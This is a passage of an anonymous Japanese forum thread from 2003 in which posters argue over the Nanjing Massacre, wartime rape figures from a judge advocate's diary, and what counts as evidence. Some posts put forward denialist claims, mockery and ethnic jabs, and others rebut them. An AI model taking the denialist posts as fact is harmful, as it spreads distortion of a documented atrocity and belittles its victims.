245 :113:03/08/19 23:36 ID:7cA0Dxwi
>>222

また、キミはどうやら、本に書いてあることが全てと思い情熱に任せて全てを鵜呑みにしているようだが
本に書かれてることの原点にはあたったのかな?

たとえば最近でも石川達三の「生きている兵隊」が南京大虐殺の資料ともてはやされてる場で

実は石川達三は当の本にも一切南京を描いていないだけでなく、書かれた内容は全て伝聞からの
現在で言うところのフィクションであるという事実がでてきたのだが。

写真の件もそうだけど、やはり納得できない人を納得させるには独りよがりの感覚的話じゃだめだぜw
ちゃんと立証されて非の打ち所のない証拠を出さないとさw
君は若いみたいだからご忠告ですw


246 :113:03/08/19 23:47 ID:7cA0Dxwi
>>222



例えとして非常にアレなんだが

矢追純一のUFO本とかマジで信じてしまうタイプかな?

あれも政府の圧力で写真公開者は不明とか多かったよねw
アレも全て真実と信じるわけか・・・・・・・・。

条件的には非常に似てる。

そうか

南京大虐殺=MJ12 なのであったかw

247 :222:03/08/20 00:37 ID:QiNcuhUq
>>244
 変換ミスは,許せ。変換ミスを自分で推敲をする癖があまりないものでな。
 てい造は,俺も笑ったぞ。

>なんでもいいので公式な場でさ、数字も重要な事実認定の作業で「莫大な数」とかさ言っても許される?
たとえば給料の認定に「莫大な数」という論理が通るのだろうか?
常識で考えてくれ。
もし、キミが日本でなく別の文化圏の人なら保証の限りではないが、少なくとも日本の社会では無理だと保証できる。

 常識も何も,日記のそう書いてある。どっかの図書館で読んでみると良い。
 で,君は,一日に起きている捕まっていないスピード違反の件数を上げられるか?捕まった奴より莫大に多いとしか
言えないだろう。捕まっていない強姦事件の件数など分かるはずがない。ただ,法務官の実感として(そしてそれが憲
兵に対する反論にもなっているのだから,憲兵の認識としても)莫大に多いということだったんだろう。
 ついでに言うと,小川法務官達は,事実の認定をしているわけではない。捕まえた奴をきちんと起訴しろと行ったのに
対して,おまえ達の言うとおりに起訴できないと反論しただけだ。日本の社会でも,警察官はよく言うぞ。ヤミ金の相談
はものすごい数で寄せられているんだから,いちいち警察がやってられないとな。
>>245
 阿羅の本のことか?あれこそ信用できない伝聞証拠の最たるものじゃないか。
第1に,今までの石川が書いた文章と矛盾する,第2に,阿羅しかその話を聞いて
いない。しかも,検証できない。第3に,石川とのやりとりが阿羅の別名で書いた
文章と一部食い違う。第4に,阿羅自身とても中立的な人物とは言えない。その意
味で石川の意図を正しく伝えていない可能性がある。
君にそっくりそのままお返ししよう。
 また、キミはどうやら、本に書いてあることが全てと思い情熱に任せて全てを鵜呑みにしているようだが
本に書かれてることの原点にはあたったのかな?






248 :222:03/08/20 00:41 ID:QiNcuhUq
>>246
>は
例えとして非常にアレなんだが
矢追純一のUFO本とかマジで信じてしまうタイプかな?
あれも政府の圧力で写真公開者は不明とか多かったよねw
アレも全て真実と信じるわけか・・・・・・・・。
条件的には非常に似てる。
そうか
南京大虐殺=MJ12 なのであったかw

 面白いなあ。君自身のことかな。日本の中でも世界の
中でも南京事件を否定する輩が,トンデモくんなのだ。
自覚無いのか?
 それこそ,加害証言は全部中国共産党の洗脳なんだろう?
まともな人間は,こんなトンデモ話信じないぞ。

 お休み。自虐君。 そうだ,輪姦と強姦致死傷は,親告罪
だったか?

249 :113:03/08/20 00:42 ID:PwRNg3Rd
>>247

いやいやw
事件を検証するなら正確な数字が必須だ。

キミだって曖昧な数字であるかないかということを議論するのは良くない事ぐらいわかってるだろう。
そもそもそれでは話が成立しないと思わんか?

250 :113:03/08/20 00:51 ID:PwRNg3Rd
>>248

親告罪ではないですが?w
ただ、裁かれない以上無罪といってるだけだw

法の基本原則だろw

それとも、この世の罪は全て裁かれてるとでもいうのか?w
法の万能性を否定してるのは俺のほうなんだが(ーー;

スリカエというか、人のカキコをちゃんと読んでないなキミはw



251 :113:03/08/20 00:51 ID:PwRNg3Rd
>>222

それから、

>面白いなあ。君自身のことかな。日本の中でも世界の
>中でも南京事件を否定する輩が,トンデモくんなのだ。
>自覚無いのか?
>それこそ,加害証言は全部中国共産党の洗脳なんだろう?
>まともな人間は,こんなトンデモ話信じないぞ。

うーんw

俺はUFO話は信じてないのでwすまんが俺のことじゃないw

君のレベルに合わせるとこういう返答しかできないw

で、俺のレベルで言うと

>それこそ,加害証言は全部中国共産党の洗脳なんだろう?
>まともな人間は,こんなトンデモ話信じないぞ。

俺がいつこんな事を書いただろうか?w
得意の「ていぞう」は止めてくれw

それからさあ、誤字とかのレベルじゃないぞwあれは。

オマエ日本人じゃないだろ?w
かなり日本語変だし、通じて無いし・・・なw


252 :名無しかましてよかですか?:03/08/20 00:55 ID:QiNcuhUq
>>249
 検証なんかしていないんだよ。「強姦が莫大に多い」という共通認識の元に議論しているんだ。

 今警察にヤミ金の相談が莫大に多い。後になれば集計もできるだろうが。その時点で,東京都で一日平均
全警察署で合計何千,何万の相談が寄せられているかなんて分かるはずがない。ましてや占領下の法務官だ
捕まっていない強姦事件の数字なんか出せるはずがない。しかし,「莫大」だったんだよ。強姦事件はいまでも
そうだ。摘発事件の10倍は強姦事件が起きていると言われているが,具体的な検証が為されたわけではない。
というより不可能だ。ホントは,5倍かもしれないし,50倍かもしれない。

253 :名無しかましてよかですか?:03/08/20 01:00 ID:QiNcuhUq
>>251
 接続詞の「に」と「の」の違いは,アルファベットのIとOの押し間違いだ。

 俺からみれば,君がトンデモだ。
 加害証言が洗脳は,否定派の常套手段じゃないのか?君は違うのか?
 じゃあ,加害証言は信用できるのか?


 せめて,南京事件否定派は,ナチのガス室はなかった派と世界的には
同レベルに見られていることくらい自覚しような?

 

254 :名無しかましてよかですか?:03/08/20 01:01 ID:QiNcuhUq
そうだ。阿羅の話はスルーか?>>113

255 :113:03/08/20 01:10 ID:PwRNg3Rd
で、重要な石川の話だが

まず生きている兵隊を読む。

南京の事は一切かかれてない、ねw
直前で話は終わってる。
また、石川本人が言うように南京陥落後に石川は現地に到着してる。

南京の状況を見ながら(虐殺を目撃したともどこかで書いてる人がいたが)
なぜ戦後、虐殺の事を書かなかったのであろうか?w
しかも部隊と同行したような言われ方だが、前述のように従軍とはいえない。
自らの目で見たシーンが1つもないのは後書きでも認めてるぜw



次、

256 :113:03/08/20 01:18 ID:PwRNg3Rd
>>251

まあまあw

そうカッカするなよw

そんなんじゃ人を納得させることなんてできないよw




ある犯罪事件で「私がやりました」と言って即信用される世界ではないので
やはり事実確認は必要でしょう。

また複数の証言が合致しても、それによって共通の利益を得る関係が出てきてしまうと
その証言も怪しくなるでしょう。

記録上で不備があるとダメでしょう。

なにより物証がないとダメでしょう。

反証材料が残ってしまうとダメでしょう。

かなw

257 :113:03/08/20 01:24 ID:PwRNg3Rd
>>252

だからね、法の不備は無罪なのよ、コレ常識。

実際、法の不備で無罪になる案件あるでしょ?

セコイ例だが金利とかさあw

無罪とは無実と違うと上でも誰か書いてたけど

今のキミの論法だと「虐殺はあったんだ!!いいからあったんだ!!」ってな感じだよなw

それじゃ納得したくても無理w
そりゃあ若ければそれくらいで騙されるが、実際確実に証明できないのだから無理。

検証なんてしてないんだよ というなら 検証できなかったので無罪 になるのが常識だろ?

258 :名無しかましてよかですか?:03/08/20 01:42 ID:dCDCvJJ1
資料を科学的に考察せよ。お前の主観なんざいらん。そう教えられたけどね。
子供にキャラメルやろうとした〜なんて記述があったらそれは何処で
手に入れられたとか官給品だったのかとね。証言とかそうやって裏取ってくもんだ。



259 :名無しかましてよかですか?:03/08/20 03:22 ID:9YabxJBy
717 名前:議論系スレへのコピペ推奨 投稿日:03/08/05 10:51 ID:85fu3ixZ
ウソを見破る五つのカギ
1,誰がそういっているのか?(情報の出所に注意)
2,どういう方法でわかったのか?(調査方法に注意)
3,足りないデータはないか?(隠されている資料に注意)
4,いっていることが違ってやしないか?(問題のすりかえに注意)
5,意味があるかしら?(どこかおかしくないか?ナンセンス)

『統計でウソをつく法』ダレル・ハフ著


260 ::03/08/20 03:24 ID:9LbvJZ/e
http://home9.highway.ne.jp/MIKI/rink.htm

261 :名無しかましてよかですか?:03/08/20 03:37 ID:4nG28Pq0
>>虐殺があったと言う人たちに質問
●虐殺の動機は?現場の独断で虐殺があったとは考えにくい。軍隊も動けば金がかかる。本来やるべき戦闘の為の費用を削ってまで虐殺を行ったのか?武器てのは消耗品だ。
言い忘れたが、食糧を稼ぐ為に略奪・虐殺に及んだ、と言う単純な話は辞めてくれよ。まだ、兵站がまともな時期なんだからその理由は通らない。

ものスゲえ人数が怒涛の勢いで南京を攻め落としたから捕虜を取るという選択肢がなかったって聞いてっけど?

262 :113:03/08/20 06:04 ID:PwRNg3Rd
今起きて思ったのだが

起きたという件で完全に否定しようのない証拠を根拠資料とともに肯定派は
提示してくれるといい。

今までやってきたというが、具体的に聞くと自分で探せと言われてるw

その証拠を叩き台にして話をすすめるといいかもしれないので
その証拠(否定されてないものな)をソースつきで提示して欲しい。

ソースはコピペで文面貼り付けだと偽造・改変できてしまうので

そうだな

>>259

の5つの法則をテンプレにしてくれ。

実際問題存在を肯定するほうがまずは立証するのが正しいからな。
もし、だ。
南京大虐殺があることを前提に話したいのなら、それは思想統制に入ってしまうので
違法(憲法違反)になるので勘弁してくれw



263 :名無しかましてよかですか?:03/08/20 08:13 ID:Rrt6SY5b
捕虜を養うより弾一つで処分できるなら大差で安上がり。それに脱走・暴動の恐れもある。多数の捕虜が出たのだから動機としては十分だろ。それに日本軍は伝統的に兵站はおろそかにされて、現地調達が重視されてたでしょ?

264 :_:03/08/20 08:20 ID:yFY/RauE
http://homepage.mac.com/yamazaki8

265 :222:03/08/20 10:56 ID:q+nLaIKo
>>256
>>251

まあまあw

>そうカッカするなよw

>そんなんじゃ人を納得させることなんてできないよw
 
 本当にぴったりの自己レスだな。

>>255
 何だ,結局石川が南京事件はなかったといったという話ではなかったのだな。
「生きている軍隊」は,元々フィクションだ。南京事件の資料だという学者な
どいない。南京事件はなかった。当時は誰もしらかなったという否定派に対し
て,石川が「生きている軍隊」を書いている。当時から南京事件を知っていた
日本人もいたという証拠なのだ。君も認めているとおり,少なくとも,伝聞で
石川は南京事件のことを知っていたのだよ。日本人は知らなかったという主張
に対する弾劾の資料だよ。



266 :222:03/08/20 11:10 ID:q+nLaIKo
>>256
>ある犯罪事件で「私がやりました」と言って即信用される世界ではないので
やはり事実確認は必要でしょう。

 事実確認は,必要だろうな。同時に,強制されない不利益な事実の告白が真
実を述べている可能性が高いのは,古今東西,普遍の経験則だぞ。

>また複数の証言が合致しても、それによって共通の利益を得る関係が出てきてしまうと
その証言も怪しくなるでしょう。

 部隊も,階級も違う人たちの共通の利害とは何だ。怪しいというなら具体的に述べよ。
偕行社が,南京事件がなかったことを証明しようとして,証言を集めたところ,事件が
あったという証言が多数集まった事実はどうだ。まさに,証言の真実性を裏付けるだろ
うが。

>記録上で不備があるとダメでしょう。

 全く意味不明だな。刑事裁判だってこんなことは言わない。
そりゃあ,訴訟上の記録は,不備があればだめだ。しかし,
証拠にそんな制限はない。贈賄事件の領収書に印紙が押して
ないから贈賄の証拠にならないってか。そんなばかな。こうい
うのを「証拠物たる書面」という。
 ましてや,歴史認識だぞ。不備があろうとなかろうと資料批
判をして,それぞれの立場から信用性を判断するんだ。訂正印
がないから資料価値がないなんて誰も言わない。



267 :222:03/08/20 11:11 ID:q+nLaIKo
>なにより物証がないとダメでしょう。
 これもまた刑事裁判ですら,こんな馬鹿なことを言わない。
 被害者の証言だけで有罪になる事件だって山ほどある。

 で,南京事件の物証がないと本気で思っているの。
 南京にある資料館だったっけ,あそこに物がいっぱいあるぞ。
ねつ造だから証拠じゃないってか。楽でいいな。

>反証材料が残ってしまうとダメでしょう。
 で,その材料の吟味も当然するんだろうな。君の上述の基準で。
 批判に耐えうる南京事件を否定するに足りる「反証」の証拠などみたこと
がないんだが。


268 :名無しかましてよかですか?:03/08/20 11:17 ID:T5uigw0u

>被害者の証言だけで有罪になる事件だって山ほどある。

m9(・∀・)!


269 :大笑い:03/08/20 11:22 ID:Q0UYr5Ko
231 名前:名無しかましてよかですか? 投稿日:03/08/19 19:07 ID:VyDA6ARS
>>230
「莫大な数」ってどれくらいだ?

241 名前:222 投稿日:03/08/19 23:10 ID:G0nyxnVh
>>231
 莫大な数は,莫大な数だ。

270 :222:03/08/20 11:28 ID:q+nLaIKo
>>257
>だからね、法の不備は無罪なのよ、コレ常識。

 起訴されて初めて有罪無罪の議論をするの。法に不備のある場合は
犯罪とならないと表現するのが一般的だね。

 で,君は,強姦が犯罪じゃないと主張するのかね。だとしたら,と
びきりのあほだね。犯罪だから,警察が捜査する。犯人が捕まってい
ない段階でも,犯罪はあったが犯人が捕まっていないと言うことだよ。
有罪判決があって,今まで適法なものが突然違法になる訳じゃない。
宅間の殺人事件は,まだ適法か?違うだろう。犯罪事実は存在するが
まだ宅間が犯人だという判決も降りていないし,確定していないから,
宅間は未だに犯罪を犯していないものとして取り扱われるというだけだ。

>今のキミの論法だと「虐殺はあったんだ!!いいからあったんだ!!」って
な感じだよなw

 多くの学者の検証の結果じゃないか。歴史学者で南京事件の存在を否定する
学者は何人いる?東中野以外の歴史学者は知らないんだがね。

 もう一度,聞くぞ。君たちが世界中で「トンデモ」扱いされていることは
認識しているのか。ネオナチと同類扱いがうれしいか?

 

271 :222:03/08/20 11:57 ID:q+nLaIKo
>>268
>被害者の証言だけで有罪になる事件だって山ほどある。

 本当だよ。痴漢事件では否認事件でも,被告人の供述に信用性がなく,被害者の証言が信用しうるとして
有罪となる事件は多い。
 訴訟法に言う証拠とは,物だけではなく供述も含むんだよ。自白と違って被害者の供述に補強法則もない
しね。

>>269
 大笑いさせるな。典型的な恣意的な引用だな。
私は,
>莫大な数は,莫大な数だ。小川氏の認識だから私には分からんよ。
と書いたんだ。小川氏の日記の引用なんだから,俺に聞かれたって
分かるはずがない。

 国語辞典だと,「非常に多い様子」を莫大と言うと書いている。
後は,君たちの常識的な使い方で判断するしかないだろうが。
 


272 :_:03/08/20 12:09 ID:yFY/RauE
http://homepage.mac.com/yamazaki8/hankaku10.html

273 :113:03/08/20 12:30 ID:PwRNg3Rd
>>222

うーむ。
実際そうなら、なんでこんだけ研究者間でもめるのか不思議になるね。
読んでもいまいち説得力に欠けるというか、曖昧な件が多いのだな。
ただ、キミの論法はちと強引だな。

>被告人の供述に信用性がなく,被害者の証言が信用しうるとして
>有罪となる事件は多い。
>訴訟法に言う証拠とは,物だけではなく供述も含むんだよ。自白と違って被害者の供述に補強法則もない
>しね。

まずこれ、条件が多すぎる状況での特例のようなもの。デフォルトではないよ。

条件
被告人の供述に信用性がなく被害者の証言が信用しうるとして
有罪となる事件は多い。
=被告人の供述が信用性が低い場合&被害者の証言が信用しうる場合なw

訴訟法に言う証拠とは,物だけではなく供述も含むんだよ。
自白と違って被害者の供述に補強法則もないしね。
=被害者の供述に補強法則がない場合なw

条件付なんで反論にならんだろう。
偽証するものも絶対いないとはいえない。
痴漢事件の冤罪が問題になってるのは君も知ってる通りだ。
特殊な例はこの場合却下で。


274 :113:03/08/20 12:31 ID:PwRNg3Rd
>小川氏の日記の引用なんだから,俺に聞かれたって
>分かるはずがない。

何度も言うが正確な数字がわからないのに引用するのはおかしいのでは?
なぜ肯定事実の曖昧さは許容して否定の正確な数字は読もうとしないのだ?w
過去ログにたくさん数字でてるよw


何度も言うが、はっきり言うと、議論を成立できるほどあなたはこのスレッドをしっかり読んでない。
あなた一人のために皆がすでに確認されてる事項を否定されてる証拠で反証された気になっても返答するのも
めんどいのよ。

で、コレに対して、じゃあその否定材料を定時しろとといわれると思うので
予め書いておこう。

「自分で探せ」

あなたの言葉をそのまま贈らせていただきますw



275 :222:03/08/20 14:06 ID:q+nLaIKo
>>273
 266は,君の
>ある犯罪事件で「私がやりました」と言って即信用される世界ではないので
>やはり事実確認は必要でしょう。

>また複数の証言が合致しても、それによって共通の利益を得る関係が出てきてしまうと
>その証言も怪しくなるでしょう。

>記録上で不備があるとダメでしょう。

>なにより物証がないとダメでしょう。

>反証材料が残ってしまうとダメでしょう。

 という,嘘っぱちに対する反論だ。物証がなくたって,刑事裁判でも有罪にしうる反論したわけだ。
「物証」がないと,「有罪」認定できないと思いこませるだろう君の文章は。現に,268はそのように勘
違いしているみたいだし。

 ここまで言っても分からないかな。刑事裁判ですら,記録上不備があったって証拠となりうるし
物証がなくても有罪認定しうるし,反証材料があっても有罪と認定することはある。すべては,立証事実
との関連性と信用性の判断だ。ましてや,歴史的な事実の判断だ。これがなければなかったことになる
資料など存在しないし,使えない資料など存在しない。二時資料,三時資料,伝聞資料だって,史料として
の価値はある。もちろん,信用性の吟味は慎重にしなければならないだろうが。

 で,繰り返すが,歴史学者で南京事件を否定しているのは何人いるんだ。

>実際そうなら、なんでこんだけ研究者間でもめるのか不思議になるね。

 もめてなんかいないじゃないか。騒いでいるのは一人だけじゃないか。後は,ねつ造がばれた自称研究家
とかジャーナリストのたぐいだろう。否定派は。後門外漢の学者もいたか。


276 :222:03/08/20 14:11 ID:q+nLaIKo
続き
>何度も言うが正確な数字がわからないのに引用するのはおかしいのでは?
>なぜ肯定事実の曖昧さは許容して否定の正確な数字は読もうとしないのだ?w
>過去ログにたくさん数字でてるよw

 君は,馬鹿か。重要なのは,南京でどのようなことが起きていたのかだろう。大切なのは数字じゃない。確か,
南京で処罰された強姦の件数をとらえて,これしか「強姦」はなかったと過去に言っていたばかがいた。起訴され
なかった事実の背後に,「莫大な」捕まらなかった強姦事件,起訴されなかった強姦事件があることは,数字じゃ
分からないじゃないか。
 じゃあ君は,強姦事件を一件の果てまで正確に出さないと,すべてなかったことになるのか。君ならそういいか
ねないね。私は,違う。憲兵隊が,秩序維持のために捕まえた奴くらい処罰しろと抗議に来て,それに対して,
捕まらない奴が莫大なんだから,不公平だからそんなに起訴できるかと反論する,そんな異常事態が南京で起
きていたことを小川氏の日記から読み取るんだよ。

 繰り返し,ヤミ金の話を持ち出して恐縮だが,昨年の全国のヤミ金の摘発件数は238件だそうだ。君は,これ以外の
違法なヤミ金事件は存在しないと思うのか。あるいは,捕まっていないからそれ以外は犯罪じゃないと思うのか?
そう思うのは勝手だが,やっぱり「トンデモ」認定されても仕方がないぞ。


277 :名無しかましてよかですか?:03/08/20 14:14 ID:M6UdM/oS
はいどーもお久しぶり、昨日IDがU7RhbeQeだった者でございます。
1日経ってる間に進んでいるようでなによりでございます。

>>241
>莫大な数は,莫大な数だ。小川氏の認識だから私には分からんよ。
>しかし,日本語の使い方としては1000件やそこらでは莫大な数とは言わ
>ないのではないか。莫大な数の意味も知らないほど日本語に不自由か?

はい、この文章のポイントを整理します。
「私は莫大な数というのがどのくらいか分からない」
「莫大な数の意味も知らないのは日本語が不自由」
なるほど、あなたは日本語が不自由なのですね(笑)

>小川の言い分を良く読め。

「この件では」小川さんの話など関係ありません。もう1度聞きます。
誰が「強姦なんて無かった」などと言いました?
小川さんの話じゃありませんよ。あなたの発言です。
あなたの発言のツケをいきなり押し付けられても、小川さん困るでしょ(笑)

278 :名無しかましてよかですか?:03/08/20 14:15 ID:M6UdM/oS
277の続き(>>241
>「秩序のある社会」とそれでも言えるのか?

>>237で書きましたけどもっぺん書きますよ?
強姦は今現在でも多数起きていて、しかも日本だけじゃありません。
そしてあなたが熱弁している内容と全く同じく、
現代社会でもきちんと起訴、実刑となっているのは
そのなかのほんの一握り、氷山の一角です。
なのであなたの言い分ですと、当時の日本軍に限らず
現代の世界全土が秩序の無い社会、という結論になりますが、
そのように解釈してよろしいですね?

>せっかく憲兵が捕まえたのに,法務官が起訴しないのでは

もう1度説明しますよ?当時も強姦は親告罪なのです。何度も同じ事書かせないで下さい。
それとも「親告罪」の意味が分かりませんか?
・・・ああそうか、貴方は日本語が不自由なのでしたね(笑)

279 :名無しかましてよかですか?:03/08/20 14:19 ID:M6UdM/oS
>>242
>ところで,君たちとは強盗も悪いことかという問いから始めなければならないのか?

悪いヤツはどこにでもいます。戦争とか関係ありません。
現代にもいますし日本だけじゃありませんね。
で、「悪い事をするヤツがいる」という事をもって
「(その民族ないし組織に)秩序が無い」と言うわけですか?
それならそれで答弁しますし、
違うならあなたの一連の発言が
 こ の 議 論 に 全 く 関 係 無 い
事くらい、ご理解頂けますよね?(笑)

>でな,法律的なことを言うと親告罪は「告訴」が訴訟要件という
>だけであって,告訴があって初めて違法になる訳じゃないんだ。
>もちろん,現行犯で取り押さえた後,女性が告訴しなかったとして
>も逮捕は適法。通常逮捕でも同様。

ええ、ですから「逮捕」はしてますよね?
それともあなたが引用した法務官の話は
「逮捕自体してない」という話なのですか?

280 :名無しかましてよかですか?:03/08/20 14:23 ID:M6UdM/oS
>>243
>否定派の諸君「莫大」とは,数の大きさを表す概念として,どの程度
>だと思いますか?

>>230で「莫大な数の強姦があったことは認めるのか」と言い出したのはあなたですよね?
で、その「莫大」の具体的な定義をこちら側に決定させるのですか?
議論に参加する人間として、なんと不誠実な態度なのでしょう?正直あきれました。

まぁこちらで定義して良いというのであれば、言われた通り勝手に定義します。
ここでは「莫大=100億」とします。私がそう決めました。
で、改めて>>230に答えます。莫大な数の強姦なんてありません。以上、終わり。

281 :名無しかましてよかですか?:03/08/20 14:35 ID:M6UdM/oS
あとは、いくつか気になった点を少々。

>>265
>当時は誰もしらかなったという否定派に対し
>て,石川が「生きている軍隊」を書いている。当時から南京事件を知っていた
>日本人もいたという証拠なのだ。

「生きている兵隊」は当時書かれた著書なんですか?へえー・・・

>>266
>強制されない不利益な事実の告白

その理論を用いるなら、「誰に対して不利益なのか」という事をよく考えましょうね。
日本人が日本の不利益になる発言をしたからといって、
「その発言者自身に不利益」とは限りませんよ。分かりますか?

>偕行社が,南京事件がなかったことを証明しようとして,証言を集めたところ,事件が
>あったという証言が多数集まった事実はどうだ。

どこかのアジビラから拾ってきたような情報ですな。ソースは何ですか?
それともあなた自身が偕行社内の人間なのですか?

>証拠にそんな制限はない。

証拠として提示した文面に矛盾があってもですか?
例えば私の個人的な日記に
「222は昨日の夜7時に札幌で人を殺し、8時に沖縄で強姦した!」
と書いてあっても、証拠として通用するんですか?(笑)

282 :名無しかましてよかですか?:03/08/20 14:38 ID:LE0eIg2I
>>281
>「222は昨日の夜7時に札幌で人を殺し、8時に沖縄で強姦した!」
>と書いてあっても、証拠として通用するんですか?(笑)
それが、F-15のパイロット、自衛官の日記であるならば、有効では?
札幌の飛行場で誰かを射殺し、嘉手納まで飛んで、レイプすれば。


283 :名無しかましてよかですか?:03/08/20 14:41 ID:M6UdM/oS
>>267
>被害者の証言だけで有罪になる事件だって山ほどある。

初歩的なレトリックですな。これにはこう返しておきましょう。
「そうでない事件だって山ほどある」

>ねつ造だから証拠じゃないってか。楽でいいな。

ていうかそのための議論をしているんですが?
南京事件の証拠が南京にある、という言い分の方が
ずいぶん楽してると思いますけどね。

>批判に耐えうる南京事件を否定するに足りる「反証」の証拠などみたこと
>がないんだが。

他の人も書いてるが、過去ログ見れ。
むしろ反証に対してきっちり返してくる肯定派の「再反証」こそ見た事無い。

>>270
>歴史学者で南京事件の存在を否定する学者は何人いる?

http://news3.2ch.net/test/read.cgi/news2/1060906024/45

>>271
>痴漢事件では否認事件でも,被告人の供述に信用性がなく,被害者の証言が信用しうるとして
>有罪となる事件は多い。

痴漢冤罪という言葉も最近の流行ですがね(笑)
ていうか、南京事件ってのは痴漢の事だったんですか?

284 :名無しかましてよかですか?:03/08/20 14:49 ID:LE0eIg2I
>>283
あんた、分が悪いよ。w

>南京事件の証拠が南京にある、という言い分の方が
>ずいぶん楽してると思いますけどね。
どこで証拠を探せば、証拠として認めるんだ?w
南京の虐殺の証拠を、北京にでも行って探すのか?!

>>批判に耐えうる南京事件を否定するに足りる「反証」の証拠などみたこと
>>がないんだが。
>他の人も書いてるが、過去ログ見れ。
>むしろ反証に対してきっちり返してくる肯定派の「再反証」こそ見た事無い。
このやり取りは、永遠に平行線をたどると思われる。
ま、このスレの伝統なんだけどね。w
ループするのが生き甲斐なんだろうから。(プ


285 :名無しかましてよかですか?:03/08/20 14:57 ID:M6UdM/oS
>>282
つまり、そのくらいこじつけないと立証できないわけですね、南京事件とは。

>>284
>あんた、分が悪いよ。w

肯定派(というか左寄り論客)は、いつも「論より先に悪口」なんですね。
論破してから勝利宣言してる人を(少なくともこの板では)見た事無い。
そういうあなたのような「まず印象操作してからでないと発言できない人」に、
古くからの日本の言い伝えを教えてあげます。

バカって言ったヤツがバカ(笑)

>どこで証拠を探せば、証拠として認めるんだ?w
>南京の虐殺の証拠を、北京にでも行って探すのか?!

そーいう事ではなく、「これこれこういう物証があります」と提示して欲しい、という事です。
「無かった派」に対し、「あった証拠が南京にあるぞ」と言われても、
どーすりゃいいんですかね?無かった派みんなで南京に行け、と?
「証拠はある!あるんだ!」という言い分は分かりましたから、
とっととその証拠を出してください、という事です。分かりましたか?

>このやり取りは、永遠に平行線をたどると思われる。

そうですよ、だから「反証なんて見た事無い」などという、
どう考えても水掛け論にしかならないような発言は控えましょうね。
小学生でも分かる事ですよ>222さん。

286 :名無しかましてよかですか?:03/08/20 15:04 ID:LE0eIg2I
>>282
いや、この時間差が5分なら、誰にも立証はできない。
一時間なら、下手をすれば、民間機でも出来るかもよ。w

>そういうあなたのような「まず印象操作してからでないと発言できない人」に、
印象操作も何も・・・
分が悪いじゃない?
出す例もまずかったしさw。

>そーいう事ではなく、「これこれこういう物証があります」と提示して欲しい、という事です。
私は、これは無理だろうと思っております。
君も、君の論敵も。w
だから、この南京板は、不毛な論戦が繰り返され、意味なくスレ、レスを消費する。
確たるものは、何も出ない。
60年の歳月は半端じゃないのです。

>そうですよ、だから「反証なんて見た事無い」などという、
>どう考えても水掛け論にしかならないような発言は控えましょうね。
>小学生でも分かる事ですよ>222さん。
その、小学生でも分かることを、君たちは繰り返している。w



287 :_:03/08/20 15:06 ID:yFY/RauE
http://homepage.mac.com/yamazaki8

288 :名無しかましてよかですか?:03/08/20 15:09 ID:M6UdM/oS
>>286
>印象操作も何も・・・
>分が悪いじゃない?

今のところ、100%あなた個人の主観です。なので印象操作と呼びました。
印象操作でないなら、「分が悪い」という根拠を提示しましょう。
ネットでアンケートでも取ったのでしょうか?

>確たるものは、何も出ない。

だから議論になるのですが?
確たるものがあるなら議論の必要はありません。

ところで一連の発言を見る限り、
あなたは南京議論に参加したいんではなく、単に茶化したいだけですね?
今後も内容の無い発言を続けるなら、少なくとも私は無視します。

289 :名無しかましてよかですか?:03/08/20 15:17 ID:LE0eIg2I
>>288
無視したいなら、どうぞ。
だが。
>>確たるものは、何も出ない。
>だから議論になるのですが?
>確たるものがあるなら議論の必要はありません。

こういうのは、議論ではなく、「水掛け論」と言うのですよ。
証拠がないのに、ああだ、こうだ。
相手も証拠がないのに、ああだ、こうだ。
楽しいですか?w

>ところで一連の発言を見る限り、
>あなたは南京議論に参加したいんではなく、単に茶化したいだけですね?
>今後も内容の無い発言を続けるなら、少なくとも私は無視します。
何度も書いたことがあるが。
自分で、証拠を集めてはどうか?
南京に行って、インタビューでもしてはどうか?
広島の原爆なら、原爆資料館のような、当時の遺品などもある。
南京に行って、そういう物があるか、見てはどうか?
それが、本物かどうか、検証してみてはどうか?
日本にいて、ぬくぬくと、そういう水掛け論を繰り返していることが楽しいなら、止めませんけどね。w


290 :田原総次郎:03/08/20 15:25 ID:iKTeC7XV
確かに、お互いが永遠に平行線をたどるようですね。
証拠の価値からして疑問なのは確か。

肯定派を検察に例えるなら、どこで(where)何が(what)誰によって(who)
何故(why)どのようにして(how)おこなわれたかという統一的な見解にかけて
いるような気がする。起訴事実が確定してないから、裁判にも移れない状態ではないですか??
起訴事実を確定するには、被害者数・作戦の命令者・遂行者・作戦の動機などをまず明らかにする
必要がある。
書き込みが膨大な数になるため、過去に書かれていたものから探し出すの大変だから
それを簡単にでいいので教えてください。(もしくは、既出なら
リンク貼って教えてください)

291 :名無しかましてよかですか?:03/08/20 15:28 ID:LE0eIg2I
>>290
>確かに、お互いが永遠に平行線をたどるようですね。
>証拠の価値からして疑問なのは確か。
な、そう思うだろ?
これが、南京の10台のスレの頃から続いているんだ。w
ずーーーーーーーーっと。
それ以前も、おそらくは、同じだったのだろう。
つまり、確たる証拠もなしに、相手をなじるだけのスレだったのだ。
いくら過去スレをひっくり返しても、何も出てこない。
確たるものがあれば、こんなの3つもスレが続けば結論が出るだろ。
これから先も、延々と続いて、妙な香具師が、なじりあう。
こんなスレにエサを撒く行為は、慎みたいと思います。


292 :_:03/08/20 15:42 ID:yFY/RauE
http://homepage.mac.com/yamazaki8/hankaku09.html

293 :222:03/08/20 15:45 ID:q+nLaIKo
>>279
>強姦は今現在でも多数起きていて、しかも日本だけじゃありません。
そしてあなたが熱弁している内容と全く同じく、
現代社会でもきちんと起訴、実刑となっているのは
そのなかのほんの一握り、氷山の一角です。
なのであなたの言い分ですと、当時の日本軍に限らず
現代の世界全土が秩序の無い社会、という結論になりますが、
そのように解釈してよろしいですね?

 違うな。法務官すなわち検事が,捕まえてない強姦事件が多数あるから捕まえた奴だけ処罰するのは,不公平だと考えるくらい
無秩序だったということだ。親告罪が何関係がある。前にも書いたが,現行犯の場合被害者はその場で保護する。供述調書を
作成して,告訴状書かせるぐらいすぐだぞ。だいたい,告訴がないから起訴できないという反論を法務官ががしていないんだから
君の反論は無意味だ。

>>280
>まぁこちらで定義して良いというのであれば、言われた通り勝手に定義します。
ここでは「莫大=100億」とします。私がそう決めました。
で、改めて>>230に答えます。莫大な数の強姦なんてありません。以上、終わり。

 予想通りの答えだな。100億のレイプがあったとは俺も思わないから,君の定義の莫大な数はなかったというのは同意だ。
しかし,そのことが小川法務官の考える「莫大な数の強姦」があったことを否定する根拠にはならん。当たり前の話だ。だから,
君の胸に聞けと言ったんだ。荒唐無稽な数字を出して否定する奴が必ずいると思ってな。
 前にも書いたが,1000人程度だと,常識的に莫大とは言わないと思うが,それ以上,どの程度の数字を考えて「莫大」と
